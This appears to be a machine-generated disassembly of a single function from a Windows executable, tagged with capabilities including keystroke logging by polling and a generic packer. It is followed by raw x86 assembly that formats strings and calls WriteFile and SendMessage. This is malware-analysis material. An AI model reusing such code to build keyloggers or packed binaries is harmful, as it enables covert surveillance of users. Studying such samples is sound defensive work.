Function at 0x402c99
Capabilities:
Log keystrokes via polling
Packed with generic packer
Write file on windows

Disassembly:
push 9
jmp fcn.0040289d
push ebp
mov ebp, esp
add esp, 0xffffffdc
nop
call fcn.00406d10
pushal
fxsave [0x44ce50]
mov ebx, dword [ebp + 8]
mov eax, 0x45eadc
mov dword [ebp - 0x18], eax
mov edx, dword [eax - 4]
test edx, edx
jne 0x402cc4
call fcn.004051bc
inc edx
and ebx, 0x1f
xor edi, edi
mov esi, dword [ebp + ebx*4 + 8]
mov eax, dword [ebp - 0x18]
cmp esi, 0x7f
jne 0x402cea
dec edx
jg 0x402cdc
add edx, 0x32
mov eax, dword [eax + edx*8 + 4]
test eax, eax
jns 0x402ce6
neg eax
add edi, eax
jmp 0x402d46
cmp esi, 0xffffff91
jne 0x402cf7
add edi, dword [0x409f80]
jmp 0x402d46
cmp esi, 0x78
jae 0x402d02
add edi, dword [eax + esi*8 - 0x4c]
jmp 0x402d46
push esi
test byte [ebp + 9], 4
jne 0x402d17
cmp word [esi], 0xfeff
je 0x402d17
call fcn.00401fd0
jmp 0x402d2c
lodsb al, byte [esi]
cmp al, 0xe
jne 0x402d24
call fcn.00401fd0
dec eax
jmp 0x402d2a
dec esi
call fcn.00401f87
add eax, eax
cmp dword [ebp + 8], 0x40
jl 0x402d3d
mov ecx, dword [0x44ee50]
cmp ecx, eax
jbe 0x402d3d
xchg ecx, eax
mov dword [ebx*4 + 0x409ae4], eax
add edi, eax
dec ebx
jne 0x402cca
mov dword [ebp - 4], edi
mov ebx, dword [ebp + 8]
dec edx
jg 0x402d55
add edx, 0x32
cmp bh, 8
jne 0x402d6a
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + edx*8]
mov dword [ebp - 0x20], ecx
mov ecx, dword [eax + edx*8 + 4]
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 4]
mov dword [0x44d8b4], ecx
add ecx, 0x18
mov dword [ebp - 8], ecx
push edx
test ebx, ebx
jns 0x402e67
bt ebx, 0x1e
jae 0x402da6
bt ebx, 0x1d
jae 0x402d97
and ebx, 0x1f
mov eax, dword [ebp + ebx*4 + 0xc]
jmp 0x402da1
call fcn.00403127
call fcn.00403e38
jmp 0x402e65
mov eax, dword [ebp - 0x18]
lea esi, [eax + edx*8 - 0x1e0]
push dword [edx*8 + 0x45eadc]
cmp bh, 0x20
jne 0x402dda
push 1
call dword [0x40957c]
mov edx, 0x45e590
mov ecx, dword [edx - 0x10]
lea ecx, [edx + ecx*4]
mov eax, dword [edx - 8]
mov ecx, dword [ecx]
lea ecx, [ecx + eax*8 + 0x18]
mov dword [esi], ecx
lodsd eax, dword [esi]
xchg esi, eax
mov edi, dword [esi]
pop eax
mov edx, dword [esi + 4]
test edx, edx
jns 0x402dea
neg edx
jmp 0x402def
je 0x402def
mov dword [ebp - 0x10], edi
cmp eax, dword [eax - 4]
jne 0x402e12
sub eax, 0x1c
mov dword [ebp - 0x14], eax
mov ecx, dword [eax + 0x14]
test ecx, ecx
jg 0x402e0a
jns 0x402e04
inc ecx
sub ecx, dword [eax + 0x10]
add ecx, dword [eax + 0xc]
add ecx, edx
add dword [ebp - 4], ecx
add dword [ebp - 8], ecx
mov eax, 0x45e3c8
mov ecx, dword [ebp - 4]
mov dword [esi + 4], ecx
jecxz 0x402e24
call fcn.00403127
mov dword [esi], eax
test eax, eax
je 0x4028f2
mov ecx, dword [ebp - 0x14]
jecxz 0x402e65
push esi
push ebx
xchg edi, eax
mov bl, 0x2c
cmp dword [ecx + 8], 0xffffff88
jne 0x402e40
mov bl, 9
mov edx, dword [ecx + 0x14]
mov esi, dword [ecx + 4]
mov eax, dword [ecx + 0xc]
test edx, edx
jle 0x402e56
mov eax, dword [ecx + 0x10]
cmp bl, 9
je 0x402e56
dec eax
sub eax, esi
xchg ecx, eax
rep movsb byte es:[edi], byte [esi]
xchg ebx, eax
dec edx
jl 0x402e62
stosb byte es:[edi], al
jmp 0x402e5c
xchg edi, eax
pop ebx
pop esi
jmp 0x402e8b
call fcn.00405134
xchg ecx, eax
add ecx, dword [ebp - 8]
mov ebx, 0x4fb1a4
cmp ecx, ebx
jbe 0x402e83
call fcn.00403127
mov dword [ebp - 0x1c], eax
jmp 0x402e8b
push 1
push ecx
call fcn.00405146
pop edx
push eax
mov ebx, dword [ebp + 8]
xchg edi, eax
bt ebx, 0x1d
jae 0x402ea3
mov ecx, 0x44ee4c
add edi, dword [ecx]
mov eax, dword [ebp - 4]
add dword [ecx], eax
and ebx, 0x1f
mov esi, dword [ebp + ebx*4 + 8]
mov eax, dword [ebp - 0x18]
cmp esi, 0x7f
jne 0x402ec9
cmp edx, 0x32
jb 0x402eb9
xor edx, edx
inc edx
mov ecx, dword [eax + edx*8 + 4]
test ecx, ecx
jns 0x402ec4
neg ecx
mov esi, dword [eax + edx*8]
jmp 0x402eed
cmp esi, 0x78
jae 0x402ed8
mov ecx, dword [eax + esi*8 - 0x4c]
mov esi, dword [eax + esi*8 - 0x50]
jmp 0x402eed
cmp esi, 0xffffff91
jne 0x402ee6
push esi
push esi
call fcn.0040331a
jmp 0x402f23
mov ecx, dword [ebx*4 + 0x409ae4]
cmp dword [esi], 0xffffff84
jne 0x402f00
cmp dword [ebp + ebx*4 + 8], 0x7f
jne 0x402f00
call fcn.00403132
jmp 0x402f23
test byte [ebp + 9], 4
je 0x402f17
cmp byte [esi], 0xe
jne 0x402f17
inc esi
xor eax, eax
lodsb al, byte [esi]
stosw word es:[edi], ax
dec ecx
dec ecx
ja 0x402f0e
jmp 0x402f23
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
dec ebx
jne 0x402ea6
mov ecx, dword [ebp - 0x14]
jecxz 0x402f3c
cmp dword [ecx + 0x14], ebx
jg 0x402f3c
push 0xfffffffffffffffe
push dword [ecx + 0x10]
push edi
call fcn.00406cc0
xchg edi, eax
xor eax, eax
mov dword [0x409a60], edi
stosw word es:[edi], ax
pop edi
mov dword [esp + 0x1c], edi
mov ebx, dword [ebp + 8]
test ebx, ebx
jns 0x402f79
bt ebx, 0x1e
jae 0x402f6c
bt ebx, 0x1d
jb 0x402f6a
and ebx, 0x1f
push dword [ebp + ebx*4 + 0xc]
call fcn.00403ea1
jmp 0x402f74
mov eax, dword [ebp - 0x10]
call fcn.00402a6e
jmp 0x403109
cmp bh, 4
sete byte [0x44d868]
jne 0x402fdd
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0xfde9
call sub.kernel32.dll_WideCharToMultiByte
inc eax
cmp eax, 0x27100
jae 0x402863
push ebx
push 0
push 0
push eax
call fcn.00405134
xchg ebx, eax
push ebx
push 0xffffffffffffffff
push edi
push 0
push 0xfde9
call sub.kernel32.dll_WideCharToMultiByte
push ebx
call fcn.00404034
pop eax
and al, 0x20
je 0x402fd8
call fcn.00403565
mov dword [esp + 0x1c], eax
jmp 0x403101
cmp bh, 8
jne 0x402ff9
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
cmp eax, ecx
jae 0x402fed
xchg ecx, eax
mov esi, edi
mov edi, dword [ebp - 0x20]
rep movsb byte es:[edi], byte [esi]
jmp 0x403101
test bh, 0x10
je 0x403073
mov ecx, dword [0x44e97c]
test ecx, ecx
je 0x40306e
push ecx
call fcn.00402c7c
mov eax, dword [edi]
jne 0x40302a
xor edx, edx
test bh, 4
je 0x40301c
add edx, 0x11
push edx
push dword [ebp - 4]
push edi
push ecx
call fcn.00402bac
inc eax
jmp 0x403069
push edi
push 0
test bh, 0x20
je 0x40304f
push 0x885
cmp ax, 0xfeff
jne 0x403047
push edi
call fcn.00406d9d
mov dword [esp + 8], eax
push ecx
call sub.user32.dll_SendMessageA
jmp 0x40306e
push 0xc
push ecx
cmp ax, 0xfeff
je 0x40305d
test bh, 4
je 0x403064
call sub.user32.dll_SendMessageW
jmp 0x403069
call sub.user32.dll_SendMessageA
call fcn.004027b0
jmp 0x403101
cmp ebx, 0x40
jb 0x4030e9
mov ecx, ebx
shr ecx, 6
and ecx, 0xf
lea ecx, [ecx*4 + 0x44eac8]
cmp bh, 4
jb 0x4030ad
test byte [ecx - 0x2c], 1
je 0x4030ad
and byte [ecx - 0x2c], 0x7e
push ecx
push edx
mov edx, esp
push 0
push edx
push 2
push 0x409649
push dword [ecx]
call sub.kernel32.dll_WriteFile
pop edx
pop ecx
mov eax, dword [0x44ee50]
and dword [0x44ee50], 0
test eax, eax
jne 0x4030cd
mov eax, dword [ebp - 4]
cmp bh, 4
jb 0x4030cd
push edi
call fcn.00401f87
add eax, eax
push edx
mov edx, esp
push 0
push edx
push eax
push edi
push dword [ecx]
call sub.kernel32.dll_WriteFile
pop dword [0x44d8ac]
call fcn.004027b0
jmp 0x403101
test edi, edi
je 0x403101
push edi
call fcn.00404034
cmp bl, 0x20
jb 0x403101
call fcn.00403565
mov dword [esp + 0x1c], eax
mov eax, dword [ebp - 0x1c]
call fcn.00402a6e
fxrstor [0x44ce50]
popal
mov edx, dword [ebp + 8]
leave
bt edx, 0x1e
adc edx, 2
and edx, 0x1f
lea esp, [esp + edx*4]
neg edx
jmp dword [esp + edx*4]